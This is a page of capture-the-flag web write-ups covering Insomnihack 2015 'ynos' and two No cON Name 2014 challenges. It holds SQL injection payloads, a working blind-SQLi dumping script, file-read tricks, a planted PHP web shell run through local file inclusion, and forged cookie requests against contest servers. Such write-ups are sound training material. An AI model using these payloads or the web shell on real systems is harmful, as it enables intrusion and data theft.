Found bonus on misc directory download readme.wav, seems morse code. Translate it and get the flag.

flag: INFOSECFLAGISMORSECODETONES

 



CTF teaser Insomnihack 2015 [ynos – web100]

First, happy new year to all. This time we are going to see how to solve ynos task from the last weekend, Insomnihack 2015 teaser. Good work to the people behind the scenes :).

This web task presents several vulnerabilites that we must exploit to get the flag. A login form with some JSON mechanism to send and retrieve data is present in all interaction with the server, so the first thing we did was analyze this mechanism. The website show us a list of films, directors and artists

Notice that posting ‘admin’ as user and password (totally guessable) we had success and user exists. See also what is inside this JSON , “c” (probably the class) with name user, “a” (action or method) with a pair of values, “name” and “params”, splitted with ‘|’ separator representing username and password.

{"c":{"name":"user"},"a":{"name":"login","params":"admin|admin"}}

Let’s see what files are reported with dirbuster:

File found: /jquery-2.1.1.min.js - 200
File found: /bootstrap.min.js - 200
File found: /home.php - 200
File found: /login.php - 200
File found: /logout.php - 200
File found: /classes.php - 200
File found: /films.php - 200
File found: /artists.php - 200
File found: /functions.php - 200
File found: /directors.php - 200

One we are logged, we see how works the request & response. Sending:

{"c":{"name":"page"},"a":{"name":"render","params":{"name":"artists"}}}

We get list of artists:

<fieldset>

<!-- Form Name -->
<legend>Artists</legend>


<ul class="list-group">
  <li class="list-group-item">Jonny Lee Miller</li>
  <li class="list-group-item">Angelina Jolie</li>
  <li class="list-group-item">Jesse Bradford</li>
  <li class="list-group-item">Matthew Lillard</li>
  <li class="list-group-item">Laurence Mason</li>
  <li class="list-group-item">Fisher Stevens</li>
</ul>

</fieldset>

We tried Local File Inclusion and works  … but seems only a few files was allowed to be included.

{"c":{"name":"page"},"a":{"name":"render","params":{"name":"...//..//.../../directors"}}}

So we return to the initial point, login, to test some SQLi against this parameters splitted by ‘|’.

{"c":{"name":"user"},"a":{"name":"login","params":"admin'-- -|1'+or+1=1+#"}}

Yes! We have a point to start on this challenge.

sqli

Next step is programming a python script to exploit a blind sqli on this login form, see how is passed the JSON:

{"c":{"name":"user"},"a":{"name":"login","params":"' or substr(hex((select group_concat(table_name) from information_schema.tables where table_schema&lt;&gt;'information_schema')),1,1)='0' -- -|1"}}

… and the code to automate it.

#!/usr/bin/python
from requests import post
from sys import argv

def get_digit(query, pos):
 for i in '0123456789abcdef':
 p = "' or substr(hex(%s),%d,1)='%c' -- -" % (query, pos, i)
 r = post("http://ynos.teaser.insomnihack.ch/INSO.RPC", data='{"c":{"name":"user"},"a":{"name":"login","params":"%s|1"}}' % (p))
 
 if 'Success' in r.text:
 return i

def get(query):
 res = ''
 for i in xrange(1, 100, 2):
 c0 = get_digit(query, i)
 c1 = get_digit(query, i+1)
 if c0 == None or c1 == None:
 return res

 c = chr(int(c0+c1, 16))
 res += c
 print res

query = "(select group_concat(table_name) from information_schema.tables where table_schema<>'information_schema')"
if len(argv) > 1:
 query = argv[-1]

print get(query)

‘query’ is that we want to search , table name:

$ ./ynos.py
u
us
use
user
users
users

The rest is modify the script or pass a query as argument to complete the dump:

$ ./ynos.py  "(select group_concat(column_name) from information_schema.columns where table_name='users')"
users
id,name,password

$ ./ynos.py  "(select group_concat(id,':',name,':',password) from users)" 
1:admin:d033e22ae348aeb5660fc2140aec35850c4da997

At this point we can extract file contents with “(select load_file(‘/var/www/html/funcions.php’))” and so on …

Let’s see the code of all interesting phps, included INSO.RPC:

functions.php

<?php

function parseParams($params) {
  if(is_array($params)) {
    return $params;
  }
  else {
    return explode("|",$params);
  }
}

function myDeserialize($object) {
  global $session;
  $class = $object["c"];
  $action = $object["a"];
  $cname = $class["name"];
  $cparams = Array();
  if(isset($class["params"])) {
    $cparams = $class["params"];
  }
  $my_obj = new $cname($cparams);
  $aname = $action["name"];
  $aparams = Array();
  if(isset($action["params"])) {
    $aparams = parseParams($action["params"]);
  }
  
  call_user_func_array(array($my_obj,$aname),$aparams);

}



?>

classes.php

<?php

class session {
  private $id = "";
  private $session = "";
  function __construct($id) {
    $this->id = $id;
    if(file_exists("/tmp/".$this->id)) {
      $this->session = json_decode(file_get_contents("/tmp/".$this->id), true);
    }
    else {
      $this->session = Array();
    }
    
  }
  function get($var) {
    return $this->session[$var];
  }
  function set($var,$value) {
    $this->session[$var] = $value;
    if(isset($this->id) && $this->id !== "") {
      file_put_contents("/tmp/".$this->id,json_encode($this->session));
    }
  }
  function debug() {
    print file_get_contents("/tmp/".$this->id);
  }
  
  function getId() {
    return $this->id;
  }
  
}

class user {

  function login($username,$password) {
  mysql_connect("localhost","inso15","inso15");
  mysql_select_db("inso15");
  $query = "SELECT id FROM users WHERE name = '$username' and password = '" . sha1($password) . "'";
  $result = mysql_query($query);
  $line = mysql_fetch_array($result,MYSQL_ASSOC);
    if(isset($line['id']) && $line['id'] !== "") {
      $GLOBALS['session']->set("userid",$line['id']);
      $GLOBALS['message'] = "Login Success";
    }
    else {
      $GLOBALS['session']->set("userid",-1);
      $GLOBALS['message'] = "Login fail";
    }
  }
  function logout($user) {
    $GLOBALS['session']->set("userid",-1);
  }
  function register($username,$password) {
    //TODO
  }

}


class page {
  private $name;
  private $allowed_pages = array("home","artists","films","directors","logout");
  function render($page) {
  
      if($GLOBALS['session']->get("userid") > 0) {
  foreach($this->allowed_pages as $allowed_page) {
    if(preg_match("/$allowed_page/",$page)) {
    //print "This is page " . $page;
      include($page . ".php");
    }
  }
      }
      else {
  include("login.php");
      }
  }
}
?>

INSO.RPC

<?php
include("classes.php");
include("functions.php");
global $session;
global $message;

if(isset($_COOKIE['session'])) {
  $session = new session($_COOKIE['session']);
}
else {
  $id = substr(str_shuffle(sha1(microtime())), 0, 32);
  $session = new session($id);
  setcookie("session",$id);
}

$input = json_decode(file_get_contents("php://input"),true);
if(isset($input)) {
  myDeserialize($input);
}


print $message;

?>

If you see closer, classes.php has session and user classes. Notice that file read could be done by tricking the JSON request with method debug in combination:

{"c":{"name":"session", "params":"../../../var/www/html/INSO.RPC"},"a":{"name":"debug","params":"none"}}

But the target is list the files and get the flag. Need to exploit call_user_func. There are also ‘get’ and ‘set’ methods so the idea is put our shell here:

{"c":{"name":"session", "params":"home.php"},"a":{"name":"set","params":"x|<?=`$_GET[1]`?>"}}

And access now to list the files with ‘INSO.RPC?1=ls+-lasth’ parameter:

{"c":{"name":"page"},"a":{"name":"render","params":{"name":"../../../../tmp/home"}}}

Output:

{"x":"total 296K
4.0K drwxr-xr-x 2 ubuntu root   4.0K Jan 11 05:38 .
4.0K -rw-rw-r-- 1 ubuntu ubuntu    6 Jan  9 16:19 ___THE_FLAG_IS_IN_HERE___.save
4.0K -rw-rw-r-- 1 ubuntu ubuntu   41 Jan  9 16:02 ___THE_FLAG_IS_IN_HERE___
4.0K -rw-rw-r-- 1 ubuntu ubuntu  596 Jan  8 16:25 functions.php
4.0K -rw-rw-r-- 1 ubuntu ubuntu   40 Dec 30 13:39 .htaccess
4.0K -rw-rw-r-- 1 ubuntu ubuntu  426 Dec 30 13:39 INSO.RPC
4.0K -rw-rw-r-- 1 ubuntu ubuntu  403 Dec 30 13:39 artists.php
112K -rw-r--r-- 1 ubuntu ubuntu 111K Dec 30 13:39 bootstrap.min.css
 36K -rw-r--r-- 1 ubuntu ubuntu  35K Dec 30 13:39 bootstrap.min.js
4.0K -rw-rw-r-- 1 ubuntu ubuntu 1.8K Dec 30 13:39 classes.php
4.0K -rw-rw-r-- 1 ubuntu ubuntu  903 Dec 30 13:39 directors.php
4.0K -rw-rw-r-- 1 ubuntu ubuntu  951 Dec 30 13:39 films.php
4.0K -rw-rw-r-- 1 ubuntu ubuntu  281 Dec 30 13:39 home.php
4.0K -rw-rw-r-- 1 ubuntu ubuntu 1.8K Dec 30 13:39 index.php
 84K -rw-r--r-- 1 ubuntu ubuntu  83K Dec 30 13:39 jquery-2.1.1.min.js
4.0K -rw-rw-r-- 1 ubuntu ubuntu 1.6K Dec 30 13:39 login.php
4.0K -rw-rw-r-- 1 ubuntu ubuntu  779 Dec 30 13:39 logout.php
4.0K -rw-rw-r-- 1 ubuntu ubuntu  122 Dec 30 13:39 preload.php
4.0K drwxr-xr-x 3 root   root   4.0K Dec 30 13:30 ..
"}

Finally our flag: http://ynos.teaser.insomnihack.ch/___THE_FLAG_IS_IN_HERE___

INS{Gotta_L0ve_l33t_serialization_suff!}

Thanks to all dcua team members!



MakeMeFeeWet^Hb [No cON Name 2014 CTF – QUALS]

pantallazo_ 2014-09-14 a la(s) 11.16.53
This challenge has a a bit more complicated solution proceess and more fun to learn. We have a login page that stay inmmutable to our several injection attacks. The only weird thing is a comment on the source page, vim editor staff.

<!-- vim: set ts=2 sw=2: -->

So this php has been edited with vim? Will be a swap file downloadable? I can’t believe that ! After download it, see its content:

https://ctf.noconname.org/makemefeelweb/.login.php.swp

$ strings login.php.swp
b0VIM 7.4
/ncn/web1/login.php
3210#"!
@$data = unserialize(hex2bin(implode(explode("\\x", base64_decode($cookie)))));
if (isset($_COOKIE['JSESSIONID'])) {
if ($username == "p00p" &amp;&amp; $password == "l!k34b4u5") {
$this->p = $_passwd;
$this->u = $_uname;
public function __construct($_uname, $_passwd) {
public $p;
public $u;
class Creds {

One could think “ok, i got it”. Let’s see what happens when we try to login with that credentials.

username: p00p
password: l!k34b4u5
A doggy puch !
A doggy puch !

After this LoL gif time, we have to analyze why this credentials aren’t totally correct.

First, we have to set a JSESSIONID cookie and see that even with empty value a message appears: “Getting close :)“. So something inside this cookie need to be injected, let’s see detailed the part of the code we have:

-> if (isset($_COOKIE['JSESSIONID'])) { // a message appears 
-> @$data = unserialize(hex2bin(implode(explode("\\x", base64_decode($cookie))))); // unserialize and hex2bin b64 staff of $cookie ? not $:COOKIE['JSESSIONID'] 
-> $this->p = $_passwd;
-> $this->u = $_uname;
-> public function __construct($_uname, $_passwd) { // cons method 
-> public $p;
-> public $u;
-> class Creds { // a class Creds 

What could we do with PHP classes, unserialize and cookies ? Inject something that show us the flag. If the credentials are ok as ‘good try’ we need to know what to put on the JSESSIONID cookie.

First i think that we could do a PHP JSON Object command injection on the cookie, but obviously there was no ‘eval’  in the code, so let’s make our serialized class object:

O:5:"Creds":2:{s:1:"p";s:9:"l!k34b4u5";s:1:"u";s:4:"p00p";}

Object Creds with the two username/password variables inside it. Nothing happens if we try to inject this to the cookie, need to encoded some way:

>>> import base64

>>> base64.b64encode('O:5:"Creds":2:{s:1:"p";s:9:"l!k34b4u5";s:1:"u";s:4:"p00p";}'.encode('hex'))
'NGYzYTM1M2EyMjQzNzI2NTY0NzMyMjNhMzIzYTdiNzMzYTMxM2EyMjcwMjIzYjczM2EzOTNhMjI2YzIxNmIzMzM0NjIzNDc1MzUyMjNiNzMzYTMxM2EyMjc1MjIzYjczM2EzNDNhMjI3MDMwMzA3MDIyM2I3ZA=='

>>> data='NGYzYTM1M2EyMjQzNzI2NTY0NzMyMjNhMzIzYTdiNzMzYTMxM2EyMjcwMjIzYjczM2EzOTNhMjI2YzIxNmIzMzM0NjIzNDc1MzUyMjNiNzMzYTMxM2EyMjc1MjIzYjczM2EzNDNhMjI3MDMwMzA3MDIyM2I3ZA=='

>>> base64.b64decode(data)
'4f3a353a224372656473223a323a7b733a313a2270223b733a393a226c216b333462347535223b733a313a2275223b733a343a2270303070223b7d'

>>> hex='4f3a353a224372656473223a323a7b733a313a2270223b733a393a226c216b333462347535223b733a313a2275223b733a343a2270303070223b7d'

>>> hex.decode('hex')
'O:5:"Creds":2:{s:1:"p";s:9:"l!k34b4u5";s:1:"u";s:4:"p00p";}'

Let’s curl with this data and see the flag:

curl -vvv -k 'https://ctf.noconname.org/makemefeelweb/login.php' -H 'Cookie: JSESSIONID=NGYzYTM1M2EyMjQzNzI2NTY0NzMyMjNhMzIzYTdiNzMzYTMxM2EyMjcwMjIzYjczM2EzOTNhMjI2YzIxNmIzMzM0NjIzNDc1MzUyMjNiNzMzYTMxM2EyMjc1MjIzYjczM2EzNDNhMjI3MDMwMzA3MDIyM2I3ZA==; _dashboard_session=amZORFlKSkUzTlN3Y3lFai9uUVVTcHdEMktQVXdVTWo5ckEzcDNjajVLaURYaHBFd0Yrc0Ixc2U3eWFMOGRPd1dVbTBFak8vWnd5OGVNZSt5MHNNNEl6Y0pVekhqTHZYaitaZUo5azBheVRvdVladWdSMEFxaXhqMFluUFAwMmo2bVl3emNQK3NWdjZmZTBKblNLdVFnTVFaUS90bXM2aWh1MDJtck9udzlaVVE4ejFjRnYzeUsxNVRwbHdyazFFbkZoQy9WelhnQUozWnVJaTlMZEhiV0s1WXVPLzNCY20xQzhOck9HeHFzMD0tLWsyZysvS3lJTWNnbDdwY3JwYXhtL3c9PQ%3D%3D--a91ebb3c5d6fa96e16a831a9e965b3004ec24c4b; PHPSESSID=uo8lqqhf0slqhn6nbclbnosp04;'
* Adding handle: conn: 0x7facf480d000
* Adding handle: send: 0
* Adding handle: recv: 0
* Curl_addHandleToPipeline: length: 1
* - Conn 0 (0x7facf480d000) send_pipe: 1, recv_pipe: 0
* About to connect() to ctf.noconname.org port 443 (#0)
*   Trying 88.87.208.202...
* Connected to ctf.noconname.org (88.87.208.202) port 443 (#0)
* TLS 1.0 connection using TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
* Server certificate: ctf.noconname.org
> GET /makemefeelweb/login.php HTTP/1.1
> User-Agent: curl/7.30.0
> Host: ctf.noconname.org
> Accept: */*
> Cookie: JSESSIONID=&amp;lt;strong&amp;gt;NGYzYTM1M2EyMjQzNzI2NTY0NzMyMjNhMzIzYTdiNzMzYTMxM2EyMjcwMjIzYjczM2EzOTNhMjI2YzIxNmIzMzM0NjIzNDc1MzUyMjNiNzMzYTMxM2EyMjc1MjIzYjczM2EzNDNhMjI3MDMwMzA3MDIyM2I3ZA==&amp;lt;/strong&amp;gt;; _dashboard_session=amZORFlKSkUzTlN3Y3lFai9uUVVTcHdEMktQVXdVTWo5ckEzcDNjajVLaURYaHBFd0Yrc0Ixc2U3eWFMOGRPd1dVbTBFak8vWnd5OGVNZSt5MHNNNEl6Y0pVekhqTHZYaitaZUo5azBheVRvdVladWdSMEFxaXhqMFluUFAwMmo2bVl3emNQK3NWdjZmZTBKblNLdVFnTVFaUS90bXM2aWh1MDJtck9udzlaVVE4ejFjRnYzeUsxNVRwbHdyazFFbkZoQy9WelhnQUozWnVJaTlMZEhiV0s1WXVPLzNCY20xQzhOck9HeHFzMD0tLWsyZysvS3lJTWNnbDdwY3JwYXhtL3c9PQ%3D%3D--a91ebb3c5d6fa96e16a831a9e965b3004ec24c4b; PHPSESSID=uo8lqqhf0slqhn6nbclbnosp04;
>
< HTTP/1.1 200 OK
* Server nginx is not blacklisted
< Server: nginx
< Date: Sun, 14 Sep 2014 09:51:19 GMT
< Content-Type: text/html
< Content-Length: 44
< Connection: keep-alive
< Strict-Transport-Security: max-age=15768000
<
* Connection #0 to host ctf.noconname.org left intact
NcN_778064be6556e64577517875a8710b0abeba1578

flag: NcN_778064be6556e64577517875a8710b0abeba1578

ps: Thanks to my dcua team mates.



WEBster [No cON Name 2014 CTF – QUALS]

This year “No cON Name Capture The Flag” quals had more than three challenges to compete for the final, so big thanks to organizers to extend last year limit. At now ( 09:27 am GMT+2 ), @DefCon-UA (dcua team) have finished all challenges and have left +12 hours for competition’s end. So it’s time to draft some web write-ups.

all finished

First “webster” 200 points web challenge, show us a login form that after multiples sqli, xpath, ldap… injections with no luck,  tried login common accounts.

Username ‘test’ and password ‘test’ was the lucky one to access main private area.

private_area

 

We have id, filename, location, username on 4 files where captain obvious says flag.txt is our target file. But not to fast, something is blocking our tries to read this file. It says:

"Seems that you are not in the right place for that"

So am i not in the right place? where could we go to get permissions on that file ? See the cookies, pay close attention in one called ‘loc’:

pantallazo_ 2014-09-14 a la(s) 10.41.31

 

 

Oh! Seems md5 for something we can’t find in our first try. But wait, maybe location means ip ? let’s try wuth the one appears on the column;

>>> ip='10.128.29.136'
>>> hashlib.md5(ip).hexdigest()
'c869d000ef5c6fdfa128b058d2865512'

Yes! It’s the same ip in hash format, so can you figure out the rest? Let’s try to replace this cookie with 127.0.0.1 (f528764d624db129b32c21fbca0cb8d6) location.

$ curl -vvv -k 'https://ctf.noconname.org/webster/content.php?op=4' -H 'Cookie: loc=f528764d624db129b32c21fbca0cb8d6; valid_user=test;  PHPSESSID=uo8lqqhf0slqhn6nbclbnosp04;'
* Adding handle: conn: 0x7fe7cb804000
* Adding handle: send: 0
* Adding handle: recv: 0
* Curl_addHandleToPipeline: length: 1
* - Conn 0 (0x7fe7cb804000) send_pipe: 1, recv_pipe: 0
* About to connect() to ctf.noconname.org port 443 (#0)
*   Trying 88.87.208.202...
* Connected to ctf.noconname.org (88.87.208.202) port 443 (#0)
* TLS 1.0 connection using TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
* Server certificate: ctf.noconname.org
> GET /webster/content.php?op=4 HTTP/1.1
> User-Agent: curl/7.30.0
> Host: ctf.noconname.org
> Accept: */*
> Cookie: loc=f528764d624db129b32c21fbca0cb8d6; valid_user=test;  PHPSESSID=uo8lqqhf0slqhn6nbclbnosp04;
>
< HTTP/1.1 200 OK
* Server nginx is not blacklisted
< Server: nginx
< Date: Sun, 14 Sep 2014 08:55:48 GMT
< Content-Type: text/html
< Content-Length: 38
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Strict-Transport-Security: max-age=15768000

NCN_f528764d624db129b32c21fbca0cb8d6

flag: NCN_f528764d624db129b32c21fbca0cb8d6

ps: Thanks to my dcua team mates.